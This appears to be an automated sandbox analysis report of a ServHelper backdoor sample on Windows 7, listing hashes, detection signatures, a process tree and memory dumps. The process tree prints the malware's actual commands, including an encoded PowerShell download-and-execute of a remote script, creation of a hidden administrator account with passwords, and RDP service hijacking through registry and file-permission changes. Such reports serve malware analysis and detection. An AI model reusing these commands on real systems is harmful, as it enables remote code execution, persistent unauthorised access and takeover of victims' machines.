Analysis

  • max time kernel
    131s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    29-09-2021 15:40

General

  • Target

    74f029d2fd587f9e25091f7832bea2f2.exe

  • Size

    5.7MB

  • MD5

    74f029d2fd587f9e25091f7832bea2f2

  • SHA1

    76fb2d051d6dc938ba2b7131ef1b21c0fe2ad60c

  • SHA256

    5f0c0223d10468b9130a240432342f4056c6d7c2f6f89469c9d971bcea31255a

  • SHA512

    0386c61a89b414ab50c2c7b371d2bab288bde154da35c643de423622b05e99fcc748f5b0b9e53f8da00e6dccd02cf535b6d41c15fbddfa732a599db3bac45a23

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • suricata: ET MALWARE ServHelper CnC Inital Checkin

    suricata: ET MALWARE ServHelper CnC Inital Checkin

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\74f029d2fd587f9e25091f7832bea2f2.exe
    "C:\Users\Admin\AppData\Local\Temp\74f029d2fd587f9e25091f7832bea2f2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1544
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:368
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fb3b6jj5.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:636
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC8EA.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC8E9.tmp"
          4⤵
            PID:1656
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1812
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1680
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1176
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1480
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:564
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1236
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:548
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:936
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1764
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1092
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1628
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1488
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1904
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1796
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1632
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1168
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1172
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:628
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1928
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1560
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1844
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1592
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1736
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1868
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1204
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:548
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user wgautilacc Ghar4f5 /del
                            1⤵
                              PID:1324
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc Ghar4f5 /del
                                2⤵
                                  PID:1836
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                                    3⤵
                                      PID:1852
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user wgautilacc TR9LMFtn /add
                                  1⤵
                                    PID:588
                                    • C:\Windows\system32\net.exe
                                      net.exe user wgautilacc TR9LMFtn /add
                                      2⤵
                                        PID:636
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user wgautilacc TR9LMFtn /add
                                          3⤵
                                            PID:1032
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                        1⤵
                                          PID:548
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                            2⤵
                                              PID:1296
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                                3⤵
                                                  PID:1944
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                              1⤵
                                                PID:1556
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                  2⤵
                                                    PID:1904
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                      3⤵
                                                        PID:1008
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                    1⤵
                                                      PID:1564
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                        2⤵
                                                          PID:1840
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                                            3⤵
                                                              PID:1880
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user wgautilacc TR9LMFtn
                                                          1⤵
                                                            PID:1624
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user wgautilacc TR9LMFtn
                                                              2⤵
                                                                PID:984
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user wgautilacc TR9LMFtn
                                                                  3⤵
                                                                    PID:2032
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1644
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:640
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1916
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:432
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1660
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:288
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:832
                                                                      • C:\Windows\System32\cmd.exe
                                                                        cmd.exe /C net user wgautilacc 1234
                                                                        1⤵
                                                                          PID:1484
                                                                          • C:\Windows\system32\net.exe
                                                                            net user wgautilacc 1234
                                                                            2⤵
                                                                              PID:1496
                                                                              • C:\Windows\system32\net1.exe
                                                                                C:\Windows\system32\net1 user wgautilacc 1234
                                                                                3⤵
                                                                                  PID:1032

                                                                            Network

                                                                            MITRE ATT&CK Enterprise v6

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            • memory/368-66-0x000000000222B000-0x000000000224A000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/368-64-0x0000000002224000-0x0000000002227000-memory.dmp

                                                                              Filesize

                                                                              12KB

                                                                            • memory/368-77-0x000000000224D000-0x000000000224E000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/368-60-0x000007FEFBA11000-0x000007FEFBA13000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/368-61-0x000007FEEA7D0000-0x000007FEEB32D000-memory.dmp

                                                                              Filesize

                                                                              11.4MB

                                                                            • memory/368-63-0x0000000002222000-0x0000000002224000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/368-62-0x0000000002220000-0x0000000002222000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/636-76-0x00000000020D0000-0x00000000020D2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/832-154-0x0000000001102000-0x0000000001104000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/832-155-0x0000000001104000-0x0000000001107000-memory.dmp

                                                                              Filesize

                                                                              12KB

                                                                            • memory/832-153-0x0000000001100000-0x0000000001102000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/832-152-0x000007FEEA7D0000-0x000007FEEB32D000-memory.dmp

                                                                              Filesize

                                                                              11.4MB

                                                                            • memory/832-156-0x000000000110B000-0x000000000112A000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/1176-102-0x0000000002740000-0x0000000002742000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1176-106-0x0000000002747000-0x0000000002748000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1176-105-0x000000001B7F0000-0x000000001BAEF000-memory.dmp

                                                                              Filesize

                                                                              3.0MB

                                                                            • memory/1176-104-0x0000000002744000-0x0000000002747000-memory.dmp

                                                                              Filesize

                                                                              12KB

                                                                            • memory/1176-101-0x000007FEEA7D0000-0x000007FEEB32D000-memory.dmp

                                                                              Filesize

                                                                              11.4MB

                                                                            • memory/1176-103-0x0000000002742000-0x0000000002744000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1176-107-0x000000000274C000-0x000000000276B000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/1544-56-0x00000000285E4000-0x00000000285E6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1544-57-0x00000000285E6000-0x00000000285E7000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1544-58-0x00000000285E7000-0x00000000285E8000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1544-53-0x00000000414A0000-0x000000004189F000-memory.dmp

                                                                              Filesize

                                                                              4.0MB

                                                                            • memory/1544-55-0x00000000285E2000-0x00000000285E4000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1680-95-0x0000000002684000-0x0000000002687000-memory.dmp

                                                                              Filesize

                                                                              12KB

                                                                            • memory/1680-91-0x000007FEEA7D0000-0x000007FEEB32D000-memory.dmp

                                                                              Filesize

                                                                              11.4MB

                                                                            • memory/1680-92-0x0000000002680000-0x0000000002682000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1680-93-0x0000000002687000-0x0000000002688000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1680-94-0x0000000002682000-0x0000000002684000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1680-96-0x000000001B930000-0x000000001BC2F000-memory.dmp

                                                                              Filesize

                                                                              3.0MB

                                                                            • memory/1680-100-0x000000000268C000-0x00000000026AB000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/1812-87-0x00000000023FC000-0x000000000241B000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/1812-83-0x00000000023F2000-0x00000000023F4000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1812-84-0x00000000023F4000-0x00000000023F7000-memory.dmp

                                                                              Filesize

                                                                              12KB

                                                                            • memory/1812-82-0x00000000023F0000-0x00000000023F2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1812-81-0x000007FEEA7D0000-0x000007FEEB32D000-memory.dmp

                                                                              Filesize

                                                                              11.4MB

                                                                            • memory/1812-85-0x000000001B750000-0x000000001BA4F000-memory.dmp

                                                                              Filesize

                                                                              3.0MB

                                                                            • memory/1812-86-0x00000000023F7000-0x00000000023F8000-memory.dmp

                                                                              Filesize

                                                                              4KB